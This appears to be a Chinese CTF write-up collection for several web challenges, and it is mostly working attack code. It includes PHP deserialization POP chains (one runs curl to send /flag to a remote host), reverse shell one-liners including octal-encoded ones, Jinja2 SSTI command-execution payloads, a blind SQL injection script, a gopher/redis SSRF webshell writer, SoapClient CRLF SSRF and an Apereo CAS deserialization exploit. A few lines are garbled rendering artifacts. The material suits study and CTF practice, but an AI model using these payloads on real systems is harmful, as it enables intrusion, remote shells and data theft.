挂梯子用tor浏览器 访问然后查看源代码就行
反序列化链子如图所示,只要记得把class c也序列化进去就想 需要a::$Do_u_like_JiaRan = true
不然第一步那就结束了
Exp:
class a {
public static $Do_u_like_JiaRan = false;
public static $Do_u_like_AFKL = false;
}
class b {
private $i_want_2_listen_2_MaoZhongDu = "curl http://ip:port/?a=`cat /flag |base64`";
public function __toString()
{
if (a::$Do_u_like_AFKL) {
return exec($this->i_want_2_listen_2_MaoZhongDu);
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
class c {
public function __wakeup()
{
a::$Do_u_like_JiaRan = true;
}
}
class d {
public function __invoke()
{
a::$Do_u_like_AFKL = true;
return "关注嘉然," . $this->value;
}
}
class e {
public function __destruct()
{
if (a::$Do_u_like_JiaRan) {
($this->afkl)();
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
$a = new b;
$b = new d;
$b->value = $a;
$c = new e;
$c->afkl=$b;
$e = new c;
$e->a=$c;
echo base64_encode(serialize($e));
根据题目中的情况 要反弹shell 最终执行的应该为下面的语句
bash -i < /dev/tcp/ip/7999 1<&0
而常见的为
bash -i > /dev/tcp/ip/7999 0>&1
其实就是符合换了个方向 常见的输出变成输入 导致1 和 0需要换位 注意这里的0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响) 使用<&只是因为题目做了过滤 会将>替换为空格
标准输入standard input 0 (默认设备键盘) 标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)
详细解释请看:https://xz.aliyun.com/t/2548 https://xz.aliyun.com/t/2549#toc-0
Payload: ?DATA[ADDR]=ip&DATA[PORT]=7999%091<%260
%09是代替空格 拼接后的语句如图所示
Vps nc监听后得到了shell
至于这个图片 我真没想到啥好办法搞下来 用了个笨办法 转base64 因为输出太长了 还得额定输出多少行 最后拼接 base64decode 文件改后缀名
cat /flag.png | base64 | tail -n +14001 | head -n 3000
F12看到注释提示,查看robots.txt,最后file://协议一把梭
SSTI模板注入
直接用for循环来遍历所得的基类等,构建payload,通用命令执行
{
% for c in [].__class__.__base__.__subclasses__() %}
{
% if c.__name__ == 'catch_warnings' %}
{
% for b in c.__init__.__globals__.values() %}
{
% if b.__class__ == {
}.__class__ %}
{
% if 'eval' in b.keys() %}
{
{
b['eval']('__import__("os").popen("cat /flag").read()') }}
{
% endif %}
{
% endif %}
{
% endfor %}
{
% endif %}
{
% endfor %}
直接f12修改id为9就行,不要想直接抓包修改id,因为会有sign加密参数的校验
题目有点坑 本来以为只要X-Forwarded-For伪造ip即可,但是还要经纬度校验,而且刚开始抓包还没有传递经纬度的参数,搞不清楚其判断逻辑。过了会在抓包发现cooike 有x,y参数了,直接根据查出来ip的经纬度伪造即可。再将返回jsfuck编码 f12 console运行就是flag了
题目挺抽象的,登录失败就会跳转到fail.php,下面会给你一个账号密码,登录提示不是admin 但会返回一个JWT头
Jwt.io 解码得到内容 可以看到是HS256加密的 需要密匙才能伪造
使用c-jwt-cracker进行暴力破解 得到密码为1234
根据题目提示需要2019年的admin进行伪造,然后将JWT发送给服务器,得到下一个页面,打开得到flag
xss注入 payload: ");\u0061lert(1);("
baby_magic.php?name[]=1&password[]=2
使用数组绕过
得到下一关地址baby_revenge.php,多了个数组检测,使用脚本绕过
import requests
import urllib2
rotimi = urllib2.urlopen("http://shattered.io/static/shattered-1.pdf").read()[:500];
letmein = urllib2.urlopen("http://shattered.io/static/shattered-2.pdf").read()[:500];
r = requests.get('http://tc.rigelx.top:8003/baby_revenge.php', params={
'name': rotimi, 'password': letmein});
print r.text
利用过程链子倒是好找 就是不知道咋动态调用这个和自带函数同名的类方法 后面问了大佬才知道是 [new d,‘eval’] 这样就行,就和call_user_func的调用一样 还是得学会多查查手册,网上乱七八糟得copy信息太多了
https://www.php.net/manual/zh/functions.variable-functions.php
https://www.php.net/manual/zh/language.types.callable.php
然后就卡在d::eval那了,以为动态调用要函数名只能为字符串,而题目里限制了传参为数组
那传进去也只能用数组,那就是和上面一样,调用类对象的方法,再调用一遍d::eval
$this->call = [new d(), 'eval'];
$this->value = [new d(), 'eval'];
这里new d()之后,序列化传进去的其实是个对象,那就直接像正常的那样给类对象赋值就行,本来惯性思维觉得直接给d:: KaTeX parse error: Expected group after '_' at position 58: …思路否了,其实这里给d类写一个_̲_construct(command) 用来获取这个d:: $value,那只要新建一个类的实例的时候传不同的值就行
两次运行中变量变化过程以及序列化结构如下图:
<?php
class a
{
public $test;
}
abstract class b
{
private $b;
public function __construct()
{
$this->b = [$this, 'eval'];
}
}
class c extends b
{
private $call;
protected $value;
public function __construct()
{
parent::__construct();
$this->call = [new d('system'), 'eval'];
$this->value = [new d('cat /flag'), 'eval'];
}
}
class d
{
public $value;
public function __construct($command)
{
$this->value = $command;
}
public function eval($call)
{
$call($this->value);
}
}
$a = new a();
$a->test = new c();
echo serialize($a);
print("\r\n\r\n");
echo base64_encode(serialize($a));
注释那提示debug.php 伪协议读源码
/debug.php?file=php://filter/convert.base64-encode/resource=index.php
扫一下内网主机 按提示打ssrf 用gopher 打post 记得二次urlencode
import urllib.parse
test =\
"""POST /index.php HTTP/1.1
Host:172.17.0.7:80
Content-type: application/x-www-form-urlencoded
Content-length: 36
name=admin&password=123456&result=60
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)
?url=gopher://172.17.0.7:80/_%50%4f%53%54%25%32%30%2f%69%6e%64%65%78%2e%70%68%70%25%32%30%48%54%54%50%2f%31%2e%31%25%30%44%25%30%41%48%6f%73%74%25%33%41%25%32%30%31%37%32%2e%31%37%2e%30%2e%37%25%33%41%38%30%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%54%79%70%65%25%33%41%25%32%30%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%25%33%41%25%32%30%33%36%25%30%44%25%30%41%25%30%44%25%30%41%6e%61%6d%65%25%33%44%61%64%6d%69%6e%25%32%36%70%61%73%73%77%6f%72%64%25%33%44%31%32%33%34%35%36%25%32%36%72%65%73%75%6c%74%25%33%44%36%30%25%30%44%25%30%41
https://www.cnblogs.com/r00tuser/p/10103329.html
https://www.cnblogs.com/backlion/p/10106676.html
直接打就行
过滤主要影响的是报错注入 使用盲注 字符截取substr 换left就行
import requests
url = "http://47.100.242.70:4003/check.php"
flag = ""
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type':'application/x-www-form-urlencoded'
}
for i in range(1,40):
for j in range(33,126):
str1 = flag+chr(j)
#payload = "uname=a'+or+(select+left(database(),{})='{}')#&pwd=123456&wp-submit=%E7%99%BB%E5%BD%95".format(i, str1) #true____flag
#payload = "uname=a'+or+(select+left((select+group_concat(table_name)+from+information_schema.tables+where+table_schema='true____flag'),{})='{}')#&pwd=123456&wp-submit=%E7%99%BB%E5%BD%95".format(i, str1) #syclover
#payload = "uname=a'+or+(select+left((select+group_concat(column_name)+from+information_schema.columns+where+table_name='syclover'),{})='{}')#&pwd=123456&wp-submit=%E7%99%BB%E5%BD%95".format(i, str1) #flag
payload = "uname=a'+or+(select+left((select+group_concat(flag)+from+true____flag.syclover),{})='{}')#&pwd=123456&wp-submit=%E7%99%BB%E5%BD%95".format(i, str1) #syc{u_4n0vv_3rr0r_inj3c410n}
#print(payload)
r = requests.post(url, data = payload, headers=headers)
#print(r.text)
if "your uname:admin" in r.text:
flag += chr(j)
print(flag.lower())
break
SSRF攻击redis服务题目也给了密码123123 没有禁用gopher协议 脚本构造payload 写shell
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n\n\n"
filename="shell.php"
path="/var/www/html"
passwd="123123"
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
这题因为一个奇怪的点卡了两天 一度怀疑自己 后来询问出题人 发现是自己vps nc好像有点问题。。。。需要换个姿势
先查看hint,使用伪协议读取
class fxxk{
public $par0;
public $par1;
public $par2 = "php://filter/read=convert.base64-encode/resource=";
public $par3;
public $kelasi;
}
echo serialize(new fxxk);
?>
那思路以及很清晰了 使用php原生类打ssrf 以及 遍历目录
首先获取管理员页面,使用FilesystemIterator类
class fxxk{
public $par0 = "FilesystemIterator";
public $par1 = "/www/wwwroot/ctf.rigelx.top/unserbucket/aaaaaaaaaaafxadwagaefae/";
public $par2 = null;
public $par3 = 'unsera';
public $kelasi;
}
echo serialize(new fxxk);
?>
得到管理员页面地址之后就可以打ssrf了,使用 SoapClient 类进行 SSRF,但是这里要打一个POST请求,所以还需要利用这里HTTP头部存在的一个CRLF漏洞,插入任意的HTTP头,要想发送POST的数据包Content-Type 的值我们要设置为 application/x-www-form-urlencoded,还得修改包中原有的Content-Type 的值,由于 Content-Type 在 User-Agent 的下面,所以我们可以通过 SoapClient 来设置 User-Agent ,将原来的 Content-Type 挤下去,从而再插入一个新的 Content-Type 。脚本里的Content-Type按照你实际的字符数改一下
class fxxk{
public $par0 = "SoapClient";
public $par1 = null;
public $par2 = array('uri'=>'http://127.0.0.1','location' => 'http://127.0.0.1/unserbucket/aaaaaaaaaaafxadwagaefae/UcantGuess.php','user_agent'=>'qqq^^Content-Type: application/x-www-form-urlencoded^^Content-Length: 50^^^^message=iwantflag&url=http://ip:7777/11');
public $par3 = 'unser';
public $kelasi;
}
$b = serialize(new fxxk);
$b = str_replace('^^',"\r\n",$b);
echo urlencode($b);
?>
这里换行符是\r\n千万别搞错 不然最终数据包每个http头前就会多个\r出来 导致bad request 我看看网上SoapClient 类进行 SSRF的payload 都是\n\r
这还有一个坑点就是ip后面加个/11 随便什么目录名都行 不然可能nc接收不到请求 就像我这个倒霉的一样卡在着奇怪的地方 一度思路跑偏想复杂了 还是在出题人引导下 才试了出来 试出来之后出题人说是他是直接http://ip:port 可我的服务器这样就监听不到请求 也不知道我服务器上的nc啥情况。
感谢出题人R1gelX师傅的耐心回答
下载www.zip进行代码审计,登录注册处无可利用漏洞,查看UserController.php
看到/roles路由的edit_roles方法,如果直接修改身份为ROLE_ADMIN,就会有个提示别耍花样,但是看到下面如果设置的是ROLE_UPLOAD|ROLE_USELESS|ROLE_SUPERADMIN 任意一个那就销毁数组当前键值对,但是漏洞出现在下面那句 g e t r o l e s = a r r a y v a l u e s ( get_roles=array_values( getroles=arrayvalues(get_roles); 他设置值的对象是整个数组的值,所以只要传值数组即可,一个绕过检查一个用来设置身份
/roles?r[]=ROLE_SUPERADMIN&r[]=ROLE_ADMIN
然后可以在/admin进行代码执行了 不过直接执行是返回空白的 因为这有个正则过滤 过滤了字母和一些特殊字符 我们可以用ascii码的八进制进行绕过
$code = 'phpinfo';
$length = strlen($code);
for ($i=0;$i<$length;$i++)
{
$payload.="\\".decoct(ord($code[$i]));
}
echo $payload;
字符串的问题解决了,剩下只需要利用php灵活可变函数的概念执行即可,查看phpinfo并没有禁用函数
$_="\160\150\160\151\156\146\157";$_();
那么接下来为了操作方便不用经常加密,我们直接弹一个shell到vps上
/admin?code=$_="\142\141\163\150\40\55\143\40\42\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\61\71\62\56\61\66\70\56\61\56\61\57\67\67\67\67\40\60\76\46\61\42";$__="\163\171\163\164\145\155";$__($_);
这里$_的内容需要替换为你用脚本编码bash -c "bash -i >& /dev/tcp/192.168.1.1/7777 0>&1"
生成的字符串 ip换成你vps的ip
根据题目信息flag在内网靶机的环境变量里,内网靶机为一个apache cas认证服务器,按照网上的漏洞复现教程直接打就行https://www.cnblogs.com/0xdd/p/13411939.html ,先获取一下cas页面,提交登录抓包获取要传递的参数,方便后面curl打payload
/admin?code=$_="\160\162\151\156\164\137\162";$__="\146\151\154\145\137\147\145\164\137\143\157\156\164\145\156\164\163";$___="\150\164\164\160\72\57\57\143\141\163\72\70\60\70\60\57\143\141\163\57\154\157\147\151\156";$_($__($___));
execution就是后面要改的参数,https://github.com/j1anFen/ysoserial_ApereoCAS 使用这个工具生成payload 生成的payload记得urlencod一下,防止payload里的特殊字符出错
java -jar apereoCAS-echo-SNAPSHOT-all.jar CommonsCollections2_apereo “linux”
编码后的payload加在下划线后面,header那执行命令 (要执行的命令进行base64编码)这里执行的命令为printenv
然后在反弹回来的shell里 curl 发送post请求即可
curl ‘http://cas:8080/cas/login’ -d
‘username=admin&password=123456<=LT-8-IVkngt5ifMaAnfncD7entfU7fsdT7g-cas01.example.org&execution=709ef431-d442-4e69-a151-4382f0ac40cd_AAAAIgAAABByQvrQuvRN0%2bsVisxYY/eCAAAABmFlczEyOMhB1OCKQ91VeTKRAeUMUUMpAQKSaEpKNx4uFJaH2drXvWnTdFgIsO6JKa%2b97WUn49eH857wjwIFjC/KqCqHwbMUFxhjf9GHraF2l3oWP2aIVAV3MkiVMbSUIhCj1MysYBxf0iMm20m6CmmAz0V7oxpL4huV1biplWbIw60VlVALi4L7BM0RfSnI9iiwpIwtLPiLoXnqVhKIocFbrrRvgW0SQs5vPPUZsgUwIvxEnlEKfxZcj6prEdhbsTnvAMoPnkgyDe50crQS6V7bWgyRcvBvAQ59m98LQncJjzaD4lOTmG2va/YESWd29aiROmtelANKXchN%2bmVLfqkJyju8W1NWTGAKsQTw%2b5VISVrV9T/AYhnbDWlzPLKSbfv8D%2bgUsb/JyvOeAnWggQPFy5rAwDzhBcvg1wCObNN1W8GkbemNp4408BEi4i9o7KcTDk0CpFrQuQBrXmTAsGx1SgtOzhkV5iTe%2bCQdOitMFl/Nbz2IJhCMXjpwUhxII%2b/hBLqBj40hbzntMUXVZqAYHg9ELtbAdhoVyCYoxhcYI5cH/bgPwlmlHsDTeqRKG%2bWihqwPB%2bXi92tw/K/aKb35Xig1oBGfvCCuaT5tL47dn3BFvPJyuA/R7p3/XqMiWCHNUC5JAxs/uE%2bKnM1z2kDXFWNgSXOvUYqq3fYgKzo%2bI6uJKotpFH9lQehOiDVeFG/pwFpewfM7VAoOv5XIAeE%2bQwVwhsmpGswoiAwAllSIeZ%2bxIUxalJENy/uYKqX07BF6n5FFaUGyKcDqKW2DPm9mFJFNPfwho8wps%2bJnZgQSiASLM6sUAcYyj16z0WGuZ5XvhdNtkMR6AGTxZWoErlwbdwqw0iKndT4pAMitPHl2M0r4bJXdGcXA4f%2bPjo9YEHEGN1xm6J3II72hwWHkDiUSVLR1Z5s3zpQB9oxFl8VsAyw7kYMwlDEQsoJB6EzyFYTCgbzlOtPCUmB4%2bGJLy/tV2FtmJmpem8sU3a2PRfgYPowNKHKUSV0%2bjqlboA1osrfCI8nFWDW3kFc3iCoaM1mFb6FwOD2iGYUkl5HYyoL%2bTrZIFIN9Xs0pzU7IjLES8gzkms3zbRKQS2RinHeupcN51aIPxlOj62%2blh%2ba1PBaBxVE0IzaJu/CzNGYR5/ynLh4GQpAMrElZnJwjjVxtIvIC28YZIJYos8hYsHAndV4Sqs4Z3s1iSt39QotjpyvzzpMwBR1iJ4ABwFGnBWF6m1Lc6Z9a6kM6xgYR0GPy6fHZNmG3%2bvk3GVNZEs0Rj7UYvoZ9DoipIceXt1Nrk1d1R5zr1X7/o59mElF3Y5/jfljLJliT8rxNqs6c8tCFn1V/xmya06q%2bD0/GpT/8pJxI4Y6tTEE7xkvJXRShq%2bYMGkiUilXNIuwP4vWNEoqBpuQMQ7LU7JOS%2brGUC5UYUO5s/DnebVfjmSUXsSIy1i5BxvvJ9QCWCLuSIcMNDs3UxnemzBhN5MADV4xebAX09DeQnCqC5ijqcMQHqZuh0c9GxHNTMOIRATxucGjSFgfOb7ItOxvHf/QZxPnZv5BVyvHkIccX/4WkWUWy9Pm8MMKAayky0hwlP1Wt2E1AHTh0y4qY8JYTrMlctCXQjRnQJX85M9csvYekxW7rOvZekY7QtZgOe5G6R3zV7UBxSAkgNHM3QKvsZafYRjQUKC1xhfMajX8HOzNhBnOYQcnAz3abrfOoadw8GwTaU%2bohnwTP7eNKKvamPFv6Jp8Y%2bxDKOQdWq2%2bpkFPrLESsO0Cdc1A7lWWmfGXs93sSA4domD1NvNbBYSl0WrVnyzo2ygh57CaZIwi1k3HCBFhLnT8%2bZDRawUJHHVCQUMMeveRaRwz0Fp7BWV3OXowoqR0bk8QYHN3Yzdnsu9L2fJnJllUQf7HMybHg9%2b0sIMGgeWFZRUC%2baa0JnpoTjBzE0zBkg7QPHyk2DJnyKTyNCFuGOL2fJOrG2tfOaX3gSUCm%2bMy0A2Tthmbo6bKcucvMj4Cck2SYTSRPsgbeMam5Ch525axgibBKu/SFh9myYT65aXW8esaT5nfQRjNK5Bgtv8GPYd%2bH14RWlGzeDZswBMbCb%2bk9B1gLh9Q588pnbRj6csHk6YjcqS5ZnMfLHEHW0biuIyCTNi3%2beK4CfATi9u0qLwiqMiLRV8EpjQcS/Ky/byjntcdOfnEoh4Xc824wCYVwhjadAoTx2Ou06tKbNLZ0kkytqyrvsBaVHe5laaZvcUiVsUu0mY/P8Vqeyezjd1Pz8lZp69wYf/uh7onUD7roEIqZ7aV15%2bc7xnXwQsrIirEkVjD4XJUqIDFnT6xG9n0djff7MCVWiLV9OlyM2Ci0nSrFkQK7DKjVphX9iU23pDVAnz4De5HBDoPOfmpkmCty%2bAbdHJAH2ZzYri8YcYqgG8pDwpfcdKVxObYcw9NCFxrPT9/5kjhSgd1tY80fQxgRzfqVau8S7NDixKdKU6fR%2bZw3swienz5pShxMNtxh54oEsXNOD5MgzR7C5ExLYK7d2CodPDml4fiU6oYMS4jOR83jgPvdAZovIT5btv9tBhRkgA9qE%2bwxs%2byEMA7XgD3FklLYKL5MkPGAutObaqUJHlRkh3pvvtrK%2brONvrGRl2k8WSqshx3wtIO9eDDp%2bmYv7TlxXvqMlhbZCd2KxfU/aevb93lNnNI37DbmbceNaySMDz4yr/sM5YwZll4B9PF5jimfweSC7AVzthCfDtQwaIGLcB3TOguqGbopx8DorhcZz0CFYM/h4PrdEJDUQI84hBaqpdRc4PrhpoGJAV8NaWvL2B26TCaYgRojIqRLLacM%2b3bjrpw1%2bt5lqJiXQmKyF4bSxYzVKxmcLxdHOz57bYaLNduIORMGoDfDfI0O3cq1J1CgJshy6nurbnnk3WVZUcTeej2k9czNMP%2bjpraj43HyT3AAMoVr3MB9uXlPoQCAoxM25oZHyD30iLQixApk9zSZFj3vj%2bevz5LXOKTfdAfXdgFUhSsY1QRuPLJnz47U3zzcDlWEdR1QQKRp7rugOSU0ffjTReaUxtNTfJNtkhp5zcQfyQj%2bzHYLnbnHalcTfAKBTOaUCnazc2EMjySbOUVfXL/Q2ACd3bh2r3/PtCB6yeLB9TtAQBO2JxZ3&_eventId=submit&submit=LOGIN’
–cookie “jsessionid=6C815FAB4E9B8944767057C6DF5C30A6” --header “Reqstr: cHJpbnRlbnY=”
{ { }}过滤使用拆分绕过正则匹配,最终模板执行的是两个参数字符串拼接起来的字符串
中括号 [ 被过滤了,可以用 getitem() 来绕过(尽量不要用pop())由于还过滤了下划线 __,可以用request对象绕过,但是还过滤了中括号 [],所以要同时绕过 __ 和 [,就用到了的|attr()
/calc?calc={
{
(1=&answer=1)|attr(request.args.class)|attr(request.args.mro)|attr(request.args.getitem)(2)|attr(request.args.subclasses)()|attr(request.args.getitem)(137)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)(request.args.popen)(request.args.data)|attr(request.args.read)()}}&class=__class__&mro=__mro__&getitem=__getitem__&subclasses=__subclasses__&init=__init__&globals=__globals__&popen=popen&data=cat+/flag&read=read //python 3.10环境下 3.9.1的话137改成133
https://xz.aliyun.com/t/9584
http://110.42.233.91:2333/flag.txt 先把这txt下下来
cat flag.txt | sort -n | > 1.txt
按照行号排列 然后用Notepad++ 打开1.txt alt 选择行号那几列 整列选中删除
cat 1.txt | tac | base64 -d | base64 -d | > flag.png 逆向解码保存为png